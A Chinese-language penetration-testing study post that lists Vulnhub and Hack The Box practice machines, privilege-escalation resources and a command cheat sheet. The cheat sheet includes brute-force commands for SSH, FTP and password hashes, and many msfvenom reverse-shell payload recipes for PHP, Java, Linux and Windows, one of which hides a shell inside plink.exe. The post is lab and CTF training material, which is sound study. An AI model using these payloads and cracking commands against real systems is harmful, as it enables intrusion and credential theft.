No.20-基础-渗透学习
**
基础篇
**
目标：通关vulnhub平台上的靶机
作者：大余
时间：2020-01-17
请注意：对于所有这些计算机，我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。
一、练习平台
想渗透入门的小伙伴，建议已下平台最少练熟30~50台以上，熟悉渗透思路。
Hack The Box：https://www.hackthebox.eu/
Vulnhub：https://www.vulnhub.com/
Root Me：https://www.root-me.org/
Hack The Box 靶机推荐：
Vulnhub 靶机推荐：
Kioptrix: Level 1 (#1): https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Kioptrix: Level 1.1 (#2): https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
Kioptrix: Level 1.2 (#3): https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
Kioptrix: Level 1.3 (#4): https://www.vulnhub.com/entry/kioptrix-level-13-4,25
Kioptrix: 2014: https://www.vulnhub.com/entry/kioptrix-2014-5,62/
FristiLeaks 1.3: https://www.vulnhub.com/entry/fristileaks-13,133/
Stapler 1: https://www.vulnhub.com/entry/stapler-1,150/
VulnOS 2: https://www.vulnhub.com/entry/vulnos-2,147/
SickOs 1.2: https://www.vulnhub.com/entry/sickos-12,144/
Brainpan 1: https://www.vulnhub.com/entry/brainpan-1,51/
HackLAB: Vulnix: https://www.vulnhub.com/entry/hacklab-vulnix,48/
/dev/random: scream: https://www.vulnhub.com/entry/devrandom-scream,47/
pWnOS 2.0: https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
SkyTower 1: https://www.vulnhub.com/entry/skytower-1,96/
Mr-Robot 1: https://www.vulnhub.com/entry/mr-robot-1,151/
PwnLab: https://www.vulnhub.com/entry/pwnlab-init,158/
Metasploitable 3: https://github.com/rapid7/metasploitable3
Lin.Security: https://www.vulnhub.com/entry/linsecurity-1,244/
Temple of Doom: https://www.vulnhub.com/entry/temple-of-doom-1,243/
Pinkys Palace v1: https://www.vulnhub.com/entry/pinkys-palace-v1,225/
Pinkys Palace v2: https://www.vulnhub.com/entry/pinkys-palace-v2,229/
Zico2: https://www.vulnhub.com/entry/zico2-1,210/
Wintermute: https://www.vulnhub.com/entry/wintermute-1,239/
Lord of the root 1.0.1: https://www.vulnhub.com/entry/lord-of-the-root-101,129/
Tr0ll 1: https://www.vulnhub.com/entry/tr0ll-1,100/
Tr0ll 2: https://www.vulnhub.com/entry/tr0ll-2,107/
Web Developer 1: https://www.vulnhub.com/entry/web-developer-1,288/
SolidState: https://www.vulnhub.com/entry/solidstate-1,261/
Hackme 1: https://www.vulnhub.com/entry/hackme-1,330/
Escalate_Linux: 1: https://www.vulnhub.com/entry/escalate_linux-1,323/
DC: 6: https://www.vulnhub.com/entry/dc-6,315/
IMF: https://www.vulnhub.com/entry/imf-1,162/
Tommy Boy: https://www.vulnhub.com/entry/tommy-boy-1,157/
Billy Madison: https://www.vulnhub.com/entry/billy-madison-11,161/
Tr0ll1: https://www.vulnhub.com/entry/tr0ll-1,100/
Tr0ll2: https://www.vulnhub.com/entry/tr0ll-2,107/
Wallaby’s Nightmare: https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
Moria: https://www.vulnhub.com/entry/moria-1,187/
BSides Vancouver 2018: https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
DEFCON Toronto Galahad: https://www.vulnhub.com/entry/defcon-toronto-galahad,194/
Spydersec: https://www.vulnhub.com/entry/spydersec-challenge,128/
Pinkys Palace v3: https://www.vulnhub.com/entry/pinkys-palace-v3,237/
Pinkys Palace v4: https://www.vulnhub.com/entry/pinkys-palace-v4,265/
Vulnerable Docker 1: https://www.vulnhub.com/entry/vulnerable-docker-1,208/
Node 1: https://www.vulnhub.com/entry/node-1,252/
Troll 3: https://www.vulnhub.com/entry/tr0ll-3,340/
Readme 1: https://www.vulnhub.com/entry/readme-1,336/
OZ: https://www.vulnhub.com/entry/oz-1,317/
二、基础知识
**
Linux提权
**
Linux提权指南：
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Linux提权辅助脚本：
https://www.securitysift.com/download/linuxprivchecker.py
https://github.com/HappyTreeFriend/linux-exploit-suggester
Linux Exploits（EXP）：
https://github.com/HappyTreeFriend/kernel-exploits
Windows 提权
Windows 提权指南：
http://www.fuzzysecurity.com/tutorials/16.html
Windows 提权辅助脚本：
https://github.com/pentestmonkey/windows-privesc-check
Windows Exploits ：
https://github.com/abatchy17/WindowsExploits
基础指令
linux 结果答案截图：
hostname && whoami && cat proof.txt && /sbin/ifconfig
windows 结果答案截图：
hostname && whoami.exe && type proof.txt && ipconfig /all
Kali 3389 to Windows：
rdesktop -u 账号 -p 密码 ip
nmap 完整扫描：
nmap –A ip –p 1-65535
nmap –sT –T4 ip -p 1-65535
gobuster扫描目录：
gobuster –w /usr/share/wordlists/dirb/common.txt –u ip
python 交互式操作：
python -c ‘import pty;pty.spawn(“/bin/bash”)’
id_rsa爆破：
./rsa_crack.sh id_rsa /usr/share/wordlists/rockyou.txt
Ssh –I id_rsa 账号@IP
John 爆破：
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
7zip 爆破：
./7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt
Gcc 编译：
Gcc –o 文件 文件.c 或者 Gcc –o 文件.c 文件
Http Server：
Python –m SimpHTTPServer 80
Python3 -m http.server 80
rpcclient 空连接：
rpcclient -U “” IP
smb 连线：
smbclient //MOUNT/share
John 爆破相关：
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
Hashcat WordPress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
SSH 爆破：
hydra -l user -P pass.txt -t x.x.x.x ssh -s 22
FTP 爆破：
medusa -h x.x.x.x -u user -P passwords.txt -M ftp
MSF 生成 Payload：
PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=port -f raw -o shell.php
Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=IP LPORT=port -f war -o shell.war
Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=port -f c -b “\x00\x0a\x0d\x20” -e x86/shikata_ga_nai
Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=IP LPORT=port -f elf -o shell.elf
Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f c
Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f exe -o non_staged.exe
Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f exe -o meterpreter.exe
Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port EXITFUNC=thread -f python -o shell.py
Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f asp -e x86/shikata_ga_nai -o shell.asp
Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -o shell.aspx
Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f js_le -e generic/none -n 18
Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=IP LPORT=port EXITFUNC=thread -f c -b “\x00\x04” -e x86/shikata_ga_nai
Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=port -f exe -o shell.exe
Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Kali基础大纲：
https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf
需要kali官方文档的找我…需要kali经典学习视频的找我…一起交流学习，加油！
如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。
